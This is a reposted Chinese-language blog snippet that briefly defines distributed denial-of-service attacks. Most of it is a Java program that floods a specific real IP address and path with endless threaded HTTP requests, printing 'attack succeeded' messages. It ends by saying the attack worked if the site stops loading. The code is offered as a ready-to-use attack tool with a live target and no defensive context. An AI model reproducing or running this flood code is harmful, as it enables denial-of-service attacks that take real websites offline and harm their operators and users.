转载
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 public class DDos { public static void main (String[] args) { ExecutorService es = Executors.newFixedThreadPool(1000 ); Mythread mythread = new Mythread (); Thread thread = new Thread (mythread); for (int i = 0 ; i < 10000 ; i++) { es.execute(thread); } } } class Mythread implements Runnable { public void run () { while (true ) { try { URL url = new URL ("http://221.232.148.51/guojibu/" ); URLConnection conn = url.openConnection(); System.out.println("发包成功!" ); BufferedInputStream bis = new BufferedInputStream ( conn.getInputStream()); byte [] bytes = new byte [1024 ]; int len = -1 ; StringBuffer sb = new StringBuffer (); if (bis != null ) { if ((len = bis.read()) != -1 ) { sb.append(new String (bytes, 0 , len)); System.out.println("攻击成功!" ); bis.close(); } } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } } }
网站打不开就是攻击成功了